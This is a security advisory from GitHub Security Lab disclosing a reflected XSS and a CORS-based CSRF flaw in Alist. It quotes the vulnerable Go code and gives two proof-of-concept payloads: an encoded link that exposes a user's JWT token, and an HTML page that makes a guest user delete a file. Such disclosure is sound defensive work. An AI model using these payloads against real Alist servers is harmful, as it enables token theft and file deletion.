Coordinated Disclosure Timeline
- 2023-10-23: Report sent to maintainer via Private Vulnerability Reporting
- 2023-11-04: Report acknowledged
- 2023-11-17: Vulnerability patched
Summary
A reflected Cross-Site Scripting (XSS) vulnerability exists in Alist that may allow unauthenticated users to steal the JWT token of users that click on a specially crafted link. In the worst case, this may allow an unauthenticated user to copy, delete and read arbitrary files on connected services or locally.
Project
Alist
Tested Version
Details
Issue 1: Reflected XSS in helper.go
(GHSL-2023-220
)
The endpoint /i/:link_name
takes in a user-provided value and reflects it back in the response. The endpoint returns an application/xml
response, opening it up to HTML tags via XHTML and thus leading to a XSS vulnerability.
func Plist(c *gin.Context) {
linkNameB64 := strings.TrimSuffix(c.Param("link_name"), ".plist")
linkName, err := utils.SafeAtob(linkNameB64)
if err != nil {
common.ErrorResp(c, err, 400)
return
}
linkNameSplit := strings.Split(linkName, "/")
if len(linkNameSplit) != 2 {
common.ErrorStrResp(c, "malformed link", 400)
return
}
linkEncode := linkNameSplit[0]
linkStr, err := url.PathUnescape(linkEncode)
link, err := url.Parse(linkStr)
Url := link.String()
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> // <----- Url is formatted into this fmt.Sprintf
...
c.Header("Content-Type", "application/xml;charset=utf-8")
_, _ = c.Writer.WriteString(plist) <----- and returned here
This vulnerability was found using CodeQL’s Go Reflected XSS Query.
Impact
This issue may lead to arbitrary file deletion, arbitrary file read, and downloading arbitrary files.
Proof of Concept
Sign into any account and click on the following link, the JWT token of the current logged-in user should be displayed in an alert window:
http://alist.domain/i/JTY4JTc0JTc0JTcwJTNhJTJmJTJmJTY2JTZmJTZmJTJlJTYzJTZmJTZkJTNmJTVkJTVkJTNlJTNjJTJmJTczJTc0JTcyJTY5JTZlJTY3JTNlJTNjJTc4JTNhJTczJTYzJTcyJTY5JTcwJTc0JTIwJTc4JTZkJTZjJTZlJTczJTNhJTc4JTNkJTIyJTY4JTc0JTc0JTcwJTNhJTJmJTJmJTc3JTc3JTc3JTJlJTc3JTMzJTJlJTZmJTcyJTY3JTJmJTMxJTM5JTM5JTM5JTJmJTc4JTY4JTc0JTZkJTZjJTIyJTNlJTYxJTZjJTY1JTcyJTc0JTI4JTZjJTZmJTYzJTYxJTZjJTUzJTc0JTZmJTcyJTYxJTY3JTY1JTJlJTY3JTY1JTc0JTQ5JTc0JTY1JTZkJTI4JTIyJTc0JTZmJTZiJTY1JTZlJTIyJTI5JTI5JTNjJTJmJTc4JTNhJTczJTYzJTcyJTY5JTcwJTc0JTNlJTNjJTczJTc0JTcyJTY5JTZlJTY3JTNlJTNjJTIxJTViJTQzJTQ0JTQxJTU0JTQxJTViL0ZPTw==
Issue 2: CSRF for anonymous users via Improper CORS Headers
Note: Due to the unauthenticated nature of this issue, we are reporting it but not labeling it a vulnerability.
In the case where a guest user is enabled, the application is accessible with no authentication. An attacker may be able to make requests on behalf of guest users (unauthenticated). This is due to the Access-Control-Allow
headers being set to all origins (*
).
func Cors(r *gin.Engine) {
config := cors.DefaultConfig()
config.AllowAllOrigins = true
config.AllowHeaders = []string{"*"}
config.AllowMethods = []string{"*"}
r.Use(cors.New(config))
}
Impact
If the Alist server is located in an internal network and assumed to be inaccessible by the outside world, an attacker from the outside world may be able to get any user connected to the internal network to make arbitrary requests with only guest permissions by visiting a specially crafted website. For example, if the guest user is able to read files from folder X or delete files from folder Y, an attacker can get the guest user to delete folder Y after visiting a specially crafted attacker website.
Proof of Concept
Create an index.html file and put the following html in there:
<html>
<body>
<h1>hello</h1>
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://0.0.0.0:5244/api/fs/remove", true);
xhr.setRequestHeader("Content-Type", "application/json;charset=utf-8");
xhr.send(JSON.stringify({"dir":"/tmp/test","names":["test.txt"]}))
</script>
</body>
</html>
After a victim browses to index.html, a request will be send to /api/fs/remove
to remove the file located in /tmp/test/test.txt
. If the guest user (unauthenticated) has permission to delete such a file, the action will get executed.
CVE
- CVE-2024-47067
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). Special thanks to Alvaro Munoz for help in exploiting this vulnerability.
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-220
in any communication regarding this issue.